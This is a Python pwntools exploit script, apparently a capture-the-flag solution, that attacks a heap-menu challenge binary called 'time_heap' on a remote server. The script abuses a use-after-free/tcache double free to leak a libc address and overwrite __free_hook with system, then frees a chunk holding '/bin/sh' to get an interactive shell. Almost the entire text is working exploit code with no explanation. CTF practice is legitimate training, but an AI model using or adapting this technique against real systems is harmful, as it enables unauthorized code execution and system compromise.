1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| from pwn import *
#r = process('./time_heap')
r = remote('nc.eonew.cn', 10015)
context.log_level = "debug"
libc = ELF('libc2.31/libc.so.6')
def choice(idx):
r.sendlineafter("Your choice: ", str(idx))
def add(size, content='a', remark='b'):
choice(1)
r.sendlineafter("Size: ", str(size))
r.sendafter("Content: ", content)
r.sendafter("Remark: ", remark)
def delete(idx):
choice(2)
r.sendlineafter("Index: ", str(idx))
def edit(idx, content='a', remark='b'):
choice(3)
r.sendlineafter("Index: ", str(idx))
r.sendafter("Content: ", content)
r.sendafter("Remark: ", remark)
def show(idx):
choice(4)
r.sendlineafter("Index: ", str(idx))
add(0x88) #0
for i in range(7):
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
log.success("libc_base: " + hex(libc.address))
edit(0, p64(libc.sym['__free_hook']))
add(0x88, '/bin/sh\x00', p64(libc.sym['system']))
delete(1)
r.interactive()
|